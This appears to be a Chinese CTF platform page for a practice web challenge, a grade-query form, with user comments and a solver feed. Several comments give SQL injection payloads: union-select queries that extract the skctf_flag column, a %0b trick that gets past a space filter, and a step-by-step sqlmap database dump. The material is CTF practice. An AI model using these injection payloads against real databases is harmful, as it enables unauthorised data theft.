成绩查询WEB 未解决

分数: 25 金币: 2
题目作者: 未知
一  血: npfs
一血奖励: 1金币
解  决: 11594
提  示:
描  述:
来源山科大ctf
评论
秋刀鱼の丸 3年前

1' and 1=2 union select 1,2,3,skctf_flag from fl4g#

回复 1

jiangyou 3年前

http://t.csdn.cn/GCIkY

回复 1

Hobin 3年前

一个sqlmap就能完美解决

回复 0

MONSTEinCAT 3年前

鸡你太美

回复 1
阿厂 3年前

哎呦你干嘛

回复 0

肥肠粉 3年前

小黑子,哥哥下的蛋你别吃

回复 0

Sauexceed 3年前

小黑子

回复 0

yemur 3年前

id=-1' union select 1,2,3,skctf_flag from fl4g#

回复 0

lysandria 3年前

过滤了一些东西,空格用%0b绕过。payload:id=-1' union%0bselect%0bgroup_concat(skctf_flag),2,3,4%0bfrom fl4g#

回复 0

15338641414 3年前

输入框的sql注入

回复 0

Hey0iopklh 3年前

'闭合,union注入

回复 0

落叶满阶红 3年前

这题啊,,学了sqlmap使用方法。。自动干进去了,python2 sqlmap.py -u “URL地址” --data=”id=1” --current-db查询当前使用数据库,-D skctf(库名) --tables 查下面所有表,-T fl4g(表名)--columns列出所有的字段名,-C skctf_flag --dump列出字段内容,找到flag

回复 9

02 3年前

有的方法flag根本出不来

回复 0

WriteUp

image
harry

2 金币

评分(24)

解题动态

xchenyu 攻破了该题 40分钟前
emp233 攻破了该题 2小时前
3122023274 攻破了该题 16小时前
ttj 攻破了该题 17小时前
adou 攻破了该题 22小时前
18353366328 攻破了该题 1天前
yansuochitangliu 攻破了该题 1天前
Ash_1070 攻破了该题 1天前
3oHKL7 攻破了该题 1天前
violet06 攻破了该题 1天前
abner 攻破了该题 1天前
Huuuuu 攻破了该题 1天前
yuesheng#1 攻破了该题 1天前
cainiao看简介 攻破了该题 1天前
Tim.Drake 攻破了该题 2天前
GAO 攻破了该题 2天前
h_uh 攻破了该题 2天前
wasdwq 攻破了该题 2天前
Hack'1 攻破了该题 3天前
qwewqdsf 攻破了该题 3天前
问题反馈